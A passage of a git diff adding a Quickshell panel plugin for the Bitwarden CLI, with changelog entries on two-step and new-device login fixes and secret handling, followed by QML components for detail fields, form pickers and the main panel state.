the same codepoint. Cosmetic only -- no button changed what it does -- and now pinned per button by test rather than by count, since a count moves with exactly this kind of mistake. + +## [1.4.0] - 2026-08-30 + +### Added + +- **Two-step method selection.** An account is asked which two-step method it uses before any code is collected, because a code sent without its method is a code the server will reject. The choice goes to Bitwarden on its own first, so a method the account does not have costs a round trip rather than a typed code -- and choosing **Email** is what makes Bitwarden send the email, since `bw` posts it only for a request carrying no token yet. It is asked once per account, not once per login. +- The method that worked is remembered per login address in `twoFactorMethods`, so the question is asked once per account rather than once per login, and two vaults on one machine each keep their own answer. **Change method** on the code screen asks again. A remembered method the account rejects is dropped for that account alone and retried without one. + +### Fixed + +- Fixes #4: a login on a machine Bitwarden has not seen before now completes in the panel. It used to ask for the emailed code over and over, because `bw login` has no flag for it -- `--code` carries the two-step token, which the device-verification step never reads. The challenge is told apart from a rejected two-step code by the attempt it answers: both say `Code is required.`, but only device verification says it again to a login that already sent a code. The panel then answers bw's prompt directly, on stdin, and a terminal is offered only if that login meets something it cannot answer. +- Two-step login now asks which method an account uses before collecting any code, and never sends a code without it. `bw` only puts the token on the wire when a provider came with it, so `--code` alone makes the request a bare password grant -- and an email provider answers that by issuing a *fresh* code, invalidating the one being submitted. Measured against `bw` 2026.2.0: the same login succeeds with `--method` and returns `Two-step token is invalid.` without it. Authenticator codes survived the omission because the server does not issue them; emailed ones never could. +- An account with more than one two-step method can log in again. The panel never sent `--method`, which `bw` needs as soon as an account has a choice to make; without it the login failed with `Login failed. No provider selected.` and no way forward. +- A login waiting on an emailed code survives the panel closing. It could not before: closing dropped the master password and the login stage, so going to read the code meant coming back to a blank form. That made both email two-step and new-device verification impossible to complete in the panel -- neither code can be read without leaving it. The login is now held for five minutes, on the wall clock so a suspend counts against it, and reopening lands on the field that was waiting. +- A `bw status` check no longer cancels the login it lands in the middle of. That check takes seconds and answers about the world as it was when it started -- a world where the login had not happened yet -- so it reported `unauthenticated` and the panel acted on it, sending SIGTERM to the login the user had just submitted and clearing the progress indicator on the way past. The button dropped out of "Verifying..." and nothing was shown, which is why a second press was needed. A submitted login is now the newer news, and a status result that raced it is discarded. +- A verification code typed into the panel is no longer discarded on the way out. Typing into a field assigns to its own `text`, which breaks the binding back to the state behind it -- so clearing that state left the field showing the code while the login read an empty value, sent no `--code` at all, and reported back that the code had been rejected. Retyping it repaired the state, which is why a second attempt worked and why the first code had expired by then. Fields and the state behind them are now cleared together, everywhere. +- A login no longer has to be submitted twice. Pressing the submit button while the panel was scrubbing the login process's output buffer queued the login against that scrub's exit, and the exit handler returned early for a scrub -- so the queued login was dropped and the click did nothing at all. The next click worked because by then nothing held the process. Both ways the process can end now dispatch whatever was queued, and a scrub is no longer started over a submit that is already waiting. +- A login no longer has to be submitted twice when handing the password to `bw` misses its window. The writer polls for `bw`'s FIFO and gives up if `bw` has not opened it in time, which a cold start after the panel has been closed can outrun; unlock has always re-armed itself there, while login left the button for you to press again. It now retries once on its own, and still reports if the second attempt fails too. +- A vault that has never synced is no longer shown as an empty vault. `bw login` calls its full sync without `allowThrowOnError`, so a sync that fails is swallowed: login still exits 0 and prints a working session, onto a local vault holding no ciphers. The panel now notices `lastSync` is unset on an unlocked vault and syncs once to repair it, which also covers the terminal handoff and a session restored from the keyring. +- An account whose only two-step methods are ones the CLI cannot perform -- a passkey, or Duo -- now says so and points at API key login, instead of reporting a bare `No providers available for this client.` + +### Changed + +- Every login result is logged with the branch it took, the exit code, and how many bytes came back -- lengths and flags only, never a session, never a code, and stderr through the same sanitiser the panel shows. Read it with `quickshell log -f | grep qs-bitwarden`. A failed login happens on someone else's machine against someone else's account, and this is the difference between a bug report and a guess. +- Email login is three stages where it was two: credentials, the two-step method, then the code. The method is asked once per account and remembered, so only a first login on an account sees the middle stage. + +### Security + +- A closed panel now holds one thing it did not before: a login stopped on a second factor keeps the master password and its stage for five minutes. That is a deliberate exception to the panel dropping everything on close, and it is what makes an emailed code answerable at all. It is bounded on the wall clock rather than a monotonic timer, so a machine suspended mid-login wakes past it rather than into it; it expires while the panel is closed rather than at the next open; and locking, logging out, and a successful login all end it early. +- The one login that runs with bw's prompts enabled -- new-device verification, the only challenge bw accepts from no flag -- keeps the guarantee `BW_NOINTERACTION` was there for, by answering on a pipe rather than a pty. A pipe ends: measured against the inquirer 8.2.6 bw bundles, a prompt with nothing left to read exits rather than blocking, so an unexpected prompt still ends the login instead of hanging it with the master password loaded. `timeout` covers a bw that never prompts at all. The code is read from the environment by the command's own `printf`, so unlike `--code` it reaches no argv, and bw's prompt echo is stripped of escape sequences and redacted of the code before any of it is shown. +- Logging out no longer takes the cursor out of the master password field a few seconds later. A logout sets the status itself and then confirms it with `bw status`; that confirmation re-focused the login screen mid-typing, so the rest of the master password was typed into the unmasked email field, which the next submit would have sent as an email address. Focus now moves only onto a screen that does not already hold it. The same fix covers the API key form's client secret and master password. + +## [1.3.1] - 2026-08-26 + +### Fixed + +- Fixes #2: ask for a verification code only after Bitwarden requires one, including Bitwarden CLI 2026.2.0's standalone `Code is required.` challenge. + +## [1.3.0] - 2026-08-24 + +### Added + +- Authentication prewarming for substantially quicker locked-vault unlocks and logged-out sign-ins. +- Deterministic vault fixture tiers and performance regression coverage from 100 to 5,000 items. +- Visible, compact sync progress while fresh vault data is loading. + +### Changed + +- Render vault items before deferred folder, organization, and status metadata work. +- Coalesce generator, TOTP, and learned-association work to keep rapid interaction responsive and correct. +- Refresh the fixture screenshots and marketplace preview under the title “Bitwarden Vault Plugin.” + +### Security + +- Keep authentication secrets out of command arguments and deliver passwords through private runtime FIFOs. +- Scrub process collectors and transient plaintext after use, lock, logout, or cancellation. +- Cancel attachment and generator subprocess groups safely when their owning vault or screen closes. +- Serialize logout with credential writers and verify that session, PIN, and fingerprint credentials are absent from the OS keyring before allowing another login. +- Harden custom-server validation, session handoff, bounded subprocess output, and attachment destination handling. + +### Fixed + +- Prevent stale asynchronous results from crossing vault generations or mutating a newer session. +- Preserve folder and organization filtering during the faster initial-load sequence. +- Keep generator and TOTP requests correct across rapid option changes, cancellation, scrubbing, and reopen cycles. diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/DetailField.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/DetailField.qml new file mode 100644 index 0000000..f544447 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/DetailField.qml @@ -0,0 +1,105 @@ +import QtQuick +import qs.Commons +import qs.Ui +import "BitwardenModel.js" as Model + +// One labelled, copyable field on the detail screen. +// +// The detail view drew each of these longhand -- a PanelSectionHeader, a +// BorderSurface, a Text and one or two PanelActionButtons, forty lines at a +// time. That was tolerable while only a login had fields worth showing. +// Cards and identities together add sixteen more, and sixteen more copies of +// the same forty lines is how the surfaces drift apart: one row elides and +// the next does not, one masks and the next forgets to. +// +// Empty is not a state worth drawing. `visible` is false when there is no +// value, so a caller can declare every field a type can carry and let the +// sparse ones -- most of an identity, most of the time -- take themselves off +// the screen rather than leaving labelled blanks behind. +Column { + id: root + + required property string label + required property string value + required property color foreground + required property string fontFamily + + // A value that should not sit in plain sight on a shared screen: a card + // number, a security code, a social security number. Masked until revealed, + // and the reveal is per-field rather than a screen-wide switch. + property bool sensitive: false + property bool revealed: false + + // What the flash message calls this once it is on the clipboard. + property string copyLabel: label + // Appended to the copy button's tooltip, e.g. "(n)". Empty when the field + // has no key bound to it. + property string shortcutHint: "" + // The same, for the reveal button. Separate because only one field per item + // is reachable by `v` -- promising it on the others would be a lie, and the + // reveal on each field is independent of every other. + property string revealHint: "" + // The copy button's glyph. Defaults to a plain copy icon; callers pass a + // semantic one where the detail view already had it, so a converted row + // keeps the icon it has always drawn. + property string copyIcon: "󰈙" + + signal copyRequested() + signal revealToggled() + + readonly property bool masked: root.sensitive && !root.revealed + + visible: root.value !== "" + width: parent ? parent.width : 0 + spacing: Style.space(4) + + PanelSectionHeader { text: root.label.toUpperCase() } + + BorderSurface { + width: parent.width + implicitHeight: Style.space(34) + radius: Style.cornerRadius + color: Style.hoverFillFor(root.foreground, Color.accent) + borderSpec: Border.controlSpec("normal", root.foreground, Color.accent) + + Row { + anchors.fill: parent + anchors.leftMargin: Style.space(10) + anchors.rightMargin: Style.space(6) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: root.masked ? Model.maskString(root.value) : root.value + color: root.foreground + font.family: root.fontFamily + font.pixelSize: Style.font.body + elide: Text.ElideRight + width: parent.width - fieldActions.width - Style.space(10) + } + + Row { + id: fieldActions + anchors.verticalCenter: parent.verticalCenter + spacing: Style.space(4) + + PanelActionButton { + visible: root.sensitive + iconText: root.revealed ? "󰈉" : "󰈈" + tooltipText: (root.revealed ? "Hide " : "Reveal ") + root.copyLabel.toLowerCase() + + (root.revealHint === "" ? "" : " (" + root.revealHint + ")") + fontFamily: root.fontFamily + onClicked: root.revealToggled() + } + + PanelActionButton { + iconText: root.copyIcon + tooltipText: "Copy " + root.copyLabel.toLowerCase() + + (root.shortcutHint === "" ? "" : " (" + root.shortcutHint + ")") + fontFamily: root.fontFamily + onClicked: root.copyRequested() + } + } + } + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/FormPickerRow.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/FormPickerRow.qml new file mode 100644 index 0000000..f751259 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/FormPickerRow.qml @@ -0,0 +1,73 @@ +import QtQuick +import qs.Commons +import qs.Ui + +// One row in an item-form picker: folder, organization, or collection. +// +// `multi` distinguishes the two behaviours. A folder or organization is a +// single choice, so its mark is a tick; a collection is one of several an item +// may belong to, so its mark is a checkbox that reads as toggleable. +BorderSurface { + id: row + + property string label: "" + property string glyph: "" + property bool picked: false + property bool multi: false + property color foreground: Color.foreground + property string fontFamily: Style.font.family + + signal activated() + + implicitHeight: Style.space(28) + radius: Style.cornerRadius + color: picked ? Style.selectedFillFor(foreground, Color.accent) + : (mouse.containsMouse ? Style.hoverFillFor(foreground, Color.accent) : "transparent") + borderSpec: Border.surfaceSpec("menu", "border", picked ? Color.accent : "transparent", picked ? 1 : 0) + + MouseArea { + id: mouse + anchors.fill: parent + hoverEnabled: true + cursorShape: Qt.PointingHandCursor + onClicked: row.activated() + } + + Row { + anchors.fill: parent + anchors.leftMargin: Style.space(9) + anchors.rightMargin: Style.space(9) + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: row.glyph + color: row.picked ? Color.accent : Qt.darker(row.foreground, 1.5) + font.family: row.fontFamily + font.pixelSize: Style.font.bodySmall + } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(46) + text: row.label + color: row.picked ? Color.accent : row.foreground + font.family: row.fontFamily + font.pixelSize: Style.font.bodySmall + font.bold: row.picked + elide: Text.ElideRight + } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + visible: row.multi || row.picked + text: row.multi ? (row.picked ? "󰄲" : "󰄱") : "󰄬" + color: row.picked ? Color.accent : Qt.darker(row.foreground, 1.6) + font.family: row.fontFamily + font.pixelSize: Style.font.bodySmall + } + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/LICENSE b/plugins/io.github.elevate08.qs-bitwarden-cli/LICENSE new file mode 100644 index 0000000..beca534 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 David Spencer + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/Panel.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/Panel.qml new file mode 100644 index 0000000..f5d4bb3 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/Panel.qml @@ -0,0 +1,11754 @@ +import QtQuick +import QtQuick.Controls +import QtQuick.Layouts +import Quickshell +import Quickshell.Io +import Quickshell.Services.Pam +import qs.Commons +import qs.Ui +import "BitwardenModel.js" as Model + +Panel { + id: root + moduleName: "io.github.elevate08.qs-bitwarden-cli" + ipcTarget: "io.github.elevate08.qs-bitwarden-cli" + manageIpc: false + + implicitWidth: button.implicitWidth + implicitHeight: button.implicitHeight + + // Configuration settings from shell.json. The numbers go through the schema + // on the way in as well as on the way out -- nothing validates shell.json, + // and a bad minute count does not fail loudly, it just stops the vault ever + // locking itself. See intSetting() in BitwardenModel.js. + readonly property int autoLockMinutes: Model.intSetting("autoLockMinutes", setting("autoLockMinutes")) + readonly property int clearClipboardSec: Model.intSetting("clearClipboardSec", setting("clearClipboardSec")) + readonly property bool lockOnScreenLock: Model.boolSetting("lockOnScreenLock", setting("lockOnScreenLock", true)) + readonly property bool lockOnSuspend: Model.boolSetting("lockOnSuspend", setting("lockOnSuspend", true)) + readonly property bool rememberSession: Model.boolSetting("rememberSession", setting("rememberSession", true)) + readonly property int autoCopyTotpSec: Model.intSetting("autoCopyTotpSec", setting("autoCopyTotpSec")) + readonly property bool closeOnCopy: Model.boolSetting("closeOnCopy", setting("closeOnCopy", true)) + readonly property bool colorizeIcon: Model.boolSetting("colorizeIcon", setting("colorizeIcon", false)) + readonly property bool suggestOnOpen: Model.boolSetting("suggestOnOpen", setting("suggestOnOpen", true)) + readonly property bool fingerprintUnlock: Model.boolSetting("fingerprintUnlock", setting("fingerprintUnlock", false)) + readonly property bool pinUnlock: Model.boolSetting("pinUnlock", setting("pinUnlock", false)) + // The SSH agent is opt-in. Nothing starts a helper, creates a socket, or + // touches a FIFO while this is false. + readonly property bool sshAgentEnabled: Model.boolSetting("sshAgentEnabled", setting("sshAgentEnabled", false)) + readonly property bool sshAgentUnlockOnDemand: Model.boolSetting("sshAgentUnlockOnDemand", setting("sshAgentUnlockOnDemand", false)) + readonly property bool sshAgentApprovalPopup: Model.boolSetting("sshAgentApprovalPopup", setting("sshAgentApprovalPopup", true)) + readonly property int sshAgentApprovalWindowSec: Model.intSetting("sshAgentApprovalWindowSec", setting("sshAgentApprovalWindowSec")) + + // The SSH sections' own section header. PanelSectionHeader comes from the + // Omarchy shell, and its defaults are the global theme's -- `Color.foreground` + // and `Style.font.family` -- while everything around it here follows the bar's + // own foreground and font family. Stating them once keeps the headers matching + // the captions beneath them, and keeps `textFormat` explicit, which this + // panel requires of every text element whether or not its text is constant + // today. + component SshSectionHeader: PanelSectionHeader { + textFormat: Text.PlainText + foreground: root.fg + fontFamily: root.fontFamily + } + + component SshCaption: Text { + textFormat: Text.PlainText + width: parent ? parent.width : 0 + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + // One of the three vault filters at the foot of the list, collapsed to its + // current value. Declared once so the three cannot drift apart and start + // reading as different kinds of control. + // + // The button names its filter as well as showing its value. The glyphs alone + // do not carry it: the three sit together reading "All", "All", "All" for as + // long as nothing is filtered, which is exactly when the value says least and + // the name says most. So the name stays, and the row is allowed to take a + // second line on the rarer occasions all three are set to something long. + // + // The value is still clipped. `Ui.Button` has no elide, so a folder named + // after a whole client engagement would make one button wider than the whole + // panel -- and a row that wraps can move a button to the next line but can + // never make one narrower than the panel it is in. + component VaultFilterButton: Button { + required property string group + required property string glyph + required property string name + required property string value + required property string shortcut + + // Clipped first, then neutralized: plainLabel may return a , and + // slicing that would cut the tag in half. + text: Model.plainLabel(name + ": " + Model.clipLabel(value, 20)) + iconText: root.openFilterGroup === group ? "󰅀" : glyph + selected: root.openFilterGroup === group + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.caption + horizontalPadding: Style.space(10) + // The full value, unclipped, is still one hover away -- and the tooltip is + // drawn by the kit's own auto-detecting Text, so it is neutralized too. + tooltipText: Model.plainLabel(name + " filter (" + shortcut + "): " + value) + onClicked: root.toggleFilterGroup(group) + } + + // State + // status: "checking" | "unauthenticated" | "locked" | "unlocked" + property string status: "checking" + property string userEmail: "" + property string session: "" + property string masterPassword: "" + + // Login form state + property string loginMethod: "email" // "email" | "apikey" + property string loginEmail: "" + property string loginPassword: "" + property string login2faCode: "" + property string loginServerRegion: "us" // "us" | "eu" | "custom" + property string loginServerUrl: "" + property string loginClientId: "" + property string loginClientSecret: "" + property bool show2faField: false + // Whether the login attempt now running carries --code. It is the only way + // to tell a rejected two-step code from a new-device-verification challenge; + // see loginNeedsDeviceVerification() in BitwardenModel.js. + property bool loginAttemptHadCode: false + // Set once Bitwarden has asked to verify this device with an emailed OTP. + // bw can only answer that interactively, so the panel stops asking for a + // code it cannot use and points at the terminal login instead. + property bool loginDeviceVerification: false + + // Which two-step method this login tells bw to use, or -1 for "let bw + // decide", which is right whenever the account has exactly one. See + // TWO_FACTOR_METHODS in BitwardenModel.js. + property int login2faMethod: rememberedTwoFactorMethod + // Whether that method came from the user picking it in this login rather + // than from the remembered setting. A remembered method can be stale -- it + // is not scoped to an account -- so an unconfirmed one is dropped and + // retried without, where a confirmed one is reported as not configured. + property bool login2faMethodConfirmed: false + property bool show2faMethodPicker: false + // New-device verification collects its code in its own stage, because it is + // answered on a different path from a two-step code and must not be mistaken + // for one. See deviceVerificationLoginCommand() in BitwardenModel.js. + property string loginDeviceCode: "" + property bool showDeviceCodeField: false + // Set while the one login that runs with bw's prompts enabled is in flight, + // so both its environment and its result are read differently. + property bool deviceVerificationAttempt: false + property bool deviceVerificationPending: false + // When the login reached a stage that is waiting on a second factor, as + // epoch ms, or 0 if it is not. A closed panel keeps that login alive for + // SECOND_FACTOR_WINDOW_MS, because an emailed code cannot be read without + // leaving the panel. See secondFactorWindowOpen() in BitwardenModel.js. + property double secondFactorStartedAt: 0 + // Whether this login has already spent its one automatic retry at handing + // the password to bw. See onAuthPasswordWriterExited(). + property bool loginPasswordRetryUsed: false + // The email login is four stages deep now: credentials, the method question + // when bw asks it, the two-step code, and new-device verification. Only one + // is ever on screen. + readonly property bool loginCredentialsStage: + !show2faField && !show2faMethodPicker && !showDeviceCodeField + readonly property string login2faMethodLabel: Model.twoFactorMethodLabel(login2faMethod) + // The method the last attempt actually sent, so its answer can be read + // against it. + property int loginAttemptMethod: -1 + // Keyed by login address, so two vaults on one machine each keep their own + // answer. Tracks loginEmail as it is typed, which is what makes the method + // apply the moment the address is complete. + readonly property var twoFactorMethodStore: setting("twoFactorMethods", null) + readonly property int rememberedTwoFactorMethod: + Model.rememberedTwoFactorMethodFor(twoFactorMethodStore, loginEmail) + + // When the panel last launched a terminal login, as epoch ms, or 0 if it + // never did. A session key left in the runtime directory is only adopted in + // the minutes after this; see sessionHandoffReadCommand(). + property double terminalLoginStartedAt: 0 + + // Screens: "main" | "detail" | "edit" | "locked" | "login" | "settings" | "setup" + property string currentScreen: "main" + property string screenBeforeSettings: "main" + + // Dependency / setup state + property var dependencies: ({ items: [], hasOmarchy: true }) + property bool depsChecked: false + property bool setupDismissed: false + property string listReadMode: "sanitized" + property var sshCapability: Model.defaultSshCapability() + // True while the panel should be showing setup rather than probing `bw`. + // See setupGateActive() in BitwardenModel.js for why the gate exists. + readonly property bool setupGated: Model.setupGateActive(dependencies, depsChecked, setupDismissed) + // Whether the first `bw status` has been started. The probe waits behind the + // dependency check on a fresh install, so something has to remember that it + // still owes the vault a look once the tools arrive. + property bool statusProbeStarted: false + // Set the moment a required tool is seen missing, cleared once the probe + // that follows the install has run. It is what turns "the install finished + // in a terminal we do not own" into a panel that moves on by itself. + property bool setupWasGated: false + property string settingsFlash: "" + property int settingsIndex: 0 + readonly property var settingsEntries: Model.visibleSettings(dependencies, depsChecked) + + // Vault data + property var items: [] + // `bw list items` costs seconds on a large vault, so a reopen reuses what is + // already in memory until it goes stale. Any mutation reloads unconditionally. + property double itemsLoadedAt: 0 + property double orgsLoadedAt: 0 + property double foldersLoadedAt: 0 + readonly property int itemsFreshMs: 60000 + // Organizations and folders outlive an item refresh many times over. + readonly property int metaFreshMs: 600000 + property var filteredItems: [] + property var organizations: [] + property string selectedOrg: "all" // "all" | "personal" | orgId + property var folders: [] + property string selectedFolder: "all" // "all" | "none" | folderId + // Which bottom filter group is open: "" | "folders" | "organizations" | "types". + // Only one at a time, so the panel grows by one list at most. + property string openFilterGroup: "" + property int filterOptionIndex: 0 + + readonly property int filterRowHeight: Style.space(30) + readonly property int filterVisibleRows: 5 + readonly property var currentFilterOptions: openFilterGroup === "" ? [] : filterOptions(openFilterGroup) + readonly property int currentFilterVisibleRows: openFilterGroup === "types" ? currentFilterOptions.length : filterVisibleRows + // The drawer's own height. The panel adds this to its cap so the window + // opens downward like a drawer instead of squeezing the item list. + readonly property int filterDrawerHeight: openFilterGroup === "" + ? 0 + : Style.space(30) + Math.min(currentFilterVisibleRows, currentFilterOptions.length) * filterRowHeight + Style.space(8) + property string formFolderId: "" + property string newFolderName: "" + // Which picker in the item form is expanded: "" | "folder" | "organization" + property string formPicker: "" + property var formCollections: [] + property var formCollectionIds: [] + property bool formCollectionsLoading: false + property bool creatingFolder: false + property string searchQuery: "" + property string selectedCategory: "all" + property int selectedIndex: 0 + + // Selected item detail + property var detailItem: null + property string detailPassword: "" + // Which sensitive fields on the open item are currently shown, by field key. + // + // One flag used to serve all of them, which was invisible while a login had + // exactly one secret to hide. A card has two and an identity three, and + // revealing a card number also uncovered its security code -- and, on an + // identity, the social security, passport and licence numbers at once. The + // eye on each field now speaks only for that field. + property var revealedFields: ({}) + + function isFieldRevealed(key) { return Boolean(revealedFields[key]) } + + function toggleFieldReveal(key) { + var next = {} + for (var k in revealedFields) next[k] = revealedFields[k] + if (next[key]) delete next[key] + else next[key] = true + revealedFields = next + } + + // What `v` reaches: the one secret the open item is mostly about. A card has + // a number, a login has a password. An identity has three identifiers and no + // principal one, so `v` leaves it alone rather than picking arbitrarily -- + // each field carries its own eye. + readonly property string primaryRevealKey: + detailIsCard ? "cardNumber" : (detailIsLoginLike ? "password" : "") + + // Which detail blocks the open item is entitled to. The login fields -- + // username, password, TOTP, website -- used to be gated on "not an SSH + // key", which was the same question while logins and notes were the only + // other types. A card answers "not an SSH key" too, and would have drawn + // an empty password row under its number. + readonly property int detailTypeCode: detailItem ? Number(detailItem.typeCode || 1) : 1 + readonly property bool detailIsLoginLike: detailTypeCode === 1 || detailTypeCode === 2 + readonly property bool detailIsCard: detailTypeCode === 3 + readonly property bool detailIsIdentity: detailTypeCode === 4 + + readonly property var detailCard: detailItem ? (detailItem.card || null) : null + readonly property var detailIdentity: detailItem ? (detailItem.identity || null) : null + + // Expiry reads as one value, so it is composed once here rather than in the + // binding that draws it. A card with only one half filled in shows that + // half rather than a stray slash. + readonly property string detailCardExpiry: { + if (!detailCard) return "" + var m = String(detailCard.expMonth || "").trim() + var y = String(detailCard.expYear || "").trim() + if (m && y) return m + " / " + y + return m || y + } + + readonly property string detailIdentityName: detailIdentity ? Model.identityFullName(detailIdentity) : "" + + // The postal parts, in the order an envelope wants them, with the empty + // lines left out instead of drawn as blanks. + readonly property string detailIdentityAddress: { + if (!detailIdentity) return "" + var street = [detailIdentity.address1, detailIdentity.address2, detailIdentity.address3] + .map(function(part) { return String(part || "").trim() }) + .filter(function(part) { return part !== "" }) + var locality = [detailIdentity.city, detailIdentity.state, detailIdentity.postalCode] + .map(function(part) { return String(part || "").trim() }) + .filter(function(part) { return part !== "" }) + .join(" ") + var country = String(detailIdentity.country || "").trim() + return street.concat(locality ? [locality] : []).concat(country ? [country] : []).join("\n") + } + property string liveTotp: "" + property int totpSecRemaining: 30 + property string totpRequestItemId: "" + property string totpQueuedItemId: "" + property int totpQueuedEpoch: -1 + property bool totpRestartPending: false + property string totpCopyItemId: "" + property string passwordCopyItemId: "" + + // Attachment downloads. One `bw get attachment` runs at a time and the rest + // wait in the queue, so "Save all" on an item with six files does not fire + // six CLI bootstraps at once. `attachmentSaved` maps an attachment id to the + // path it landed on, which is what turns the row's Download button into Open + // and Show in folder; it is cleared whenever a different item is opened. + property var attachmentQueue: [] + property string attachmentBusyId: "" + property var attachmentSaved: ({}) + + // Follow-up TOTP sequential copy state (Enter -> Password -> Enter -> TOTP) + property var totpFollowupItem: null + property string totpFollowupCode: "" + property bool totpFollowupActive: false + + // The save currently in flight, or null. Holds what the list showed before + // it, and the form that produced it, so a failure can put both back. + property var pendingSave: null + // The delete currently in flight, or null. Holds the row it removed so a + // refusal can put it back. + property var pendingDelete: null + + // A save that came back refused. The list has been restored to what the + // vault actually holds; this is what the user typed, kept so it can be + // reopened rather than retyped. + property var failedSave: null + + // Add / Edit Form State + property bool formIsEditing: false + property string formItemId: "" + property int formTypeCode: 1 // 1: Login, 2: Secure Note + property string formName: "" + property string formUsername: "" + property string formPassword: "" + property string formTotp: "" + property string formUri: "" + property string formNotes: "" + property bool formFavorite: false + property string formOrgId: "" + property bool formPasswordRevealed: false + property bool showDeleteConfirm: false + + // Card and identity boxes. Flat strings rather than one object per type, + // because that is what every other field on this form is and what the + // TextField two-way binding above expects; formTypeFields() gathers them + // back into the shape the payload builders want. + property string formCardholderName: "" + property string formCardBrand: "" + property string formCardNumber: "" + property string formCardExpMonth: "" + property string formCardExpYear: "" + property string formCardCode: "" + + property string formIdTitle: "" + property string formIdFirstName: "" + property string formIdMiddleName: "" + property string formIdLastName: "" + property string formIdUsername: "" + property string formIdCompany: "" + property string formIdEmail: "" + property string formIdPhone: "" + property string formIdSsn: "" + property string formIdPassport: "" + property string formIdLicense: "" + property string formIdAddress1: "" + property string formIdAddress2: "" + property string formIdAddress3: "" + property string formIdCity: "" + property string formIdState: "" + property string formIdPostalCode: "" + property string formIdCountry: "" + + // When the current auto-lock window started, in wall-clock terms, so a + // suspend cannot hide from the countdown. See the autoLockWatchdog Timer. + property double autoLockArmedAt: 0 + + // The vault generation. Moves on whenever the vault changes hands -- locked, + // logged out of, unlocked again -- and every `bw` reader records the one it + // started under, so an answer from a vault that is no longer open can be + // recognised as such when it arrives. See vaultReadIsStale(). + property int vaultEpoch: 0 + property var readEpochs: ({}) + + // Processes whose collectors still have to be emptied after a lock. Anything + // that was running at the time stays here until it finishes. See + // scrubSecretBuffers(). + property var scrubPending: [] + + // Status & indicators + property bool isLoading: false + property bool isUnlocking: false + property bool isSyncing: false + property bool metadataLoadPending: false + property bool metadataForceRefresh: false + property bool statusRefreshAfterItems: false + property bool statusCheckAuthoritative: true + // Whether this unlocked session has already tried to repair an unsynced + // vault. See the lastSync check in onStatusFinished(). + property bool initialSyncAttempted: false + property bool syncReloadPending: false + property string errorMessage: "" + property string flashMessage: "" + property bool cursorActive: false + + // Fingerprint unlock state. + // PAM only proves presence, so a verified finger is used as the gate on + // reading the master password back out of the login keyring. + property bool fingerprintAvailable: false // PAM stack + reader + enrolled finger + property bool fingerprintStored: false // master password present in keyring + property bool fingerprintScanning: false + property bool fingerprintAuthorized: false // a live PAM success may consume one keyring lookup + property string fingerprintMessage: "" + property string pendingUnlockPassword: "" // held only until the unlock lands + // Authentication processes are started before submission and wait on a + // private FIFO. These flags distinguish that harmless waiting state from an + // attempt whose password has actually been delivered. + property bool unlockSubmitted: false + property bool loginSubmitted: false + property bool loginSubmitAfterPrewarmStop: false + property bool loginPrepareAfterPrewarmStop: false + property string loginPrewarmSignature: "" + property string authPasswordWriteTarget: "" + property string authPasswordWriteValue: "" + // The value the keyring store process reads. Set from whichever path is + // storing: the explicit setup form, or the automatic refresh after unlock. + property string masterToStore: "" + // Item JSON on its way to `bw encode`. Held here so the create/edit processes + // can pass it in the environment instead of on the command line. + property string itemPayloadJson: "" + property bool fpSetupActive: false + property string fpSetupMaster: "" + property string fpError: "" + property bool fpBusy: false + // Which credential source drove the in-flight unlock, so a stale stored + // secret can be discarded rather than retried forever. "" | "fingerprint" | "pin" + property string pendingUnlockFrom: "" + + // Send state + property var sends: [] + property bool sendsLoading: false + property string sendMode: "list" // "list" | "create" + property string sendPayloadJson: "" + property bool sendBusy: false + property string sendError: "" + property string sendFormName: "" + property string sendFormText: "" + property bool sendFormHidden: false + property int sendFormDays: 7 + property int sendFormMaxAccess: 0 + property string sendFormPassword: "" + property int sendIndex: 0 + + // Generator state (session-scoped, mirroring the browser extension's options) + property var genOpts: Model.generatorDefaults() + property string genValue: "" + property bool genBusy: false + property bool genRegeneratePending: false + property string genRequestSignature: "" + // `bw serve` state. Ready means the loopback generator answered; failed + // means we stopped trying and the CLI carries the feature instead -- most + // likely because something else already holds the port, in which case we + // must not talk to it: a "generated password" from a stranger's server is + // a password they know. + property bool generateServeReady: false + property bool generateServeStarting: false + property bool generateServeFailed: false + // Set while we are the ones shutting the server down, so its exit is not + // mistaken for the bind failure that gives up on the port. + property bool generateServeStopping: false + property bool generateCliStopping: false + property bool generateServeRequestStopping: false + property bool generateServeRequestPending: false + property var generateServeRequestPendingOptions: null + property var generateServeRequestPendingCallback: null + // Where Back and Esc go, and whether the generator can hand its value + // somewhere. Opened from the item form it fills the password field in and + // returns; 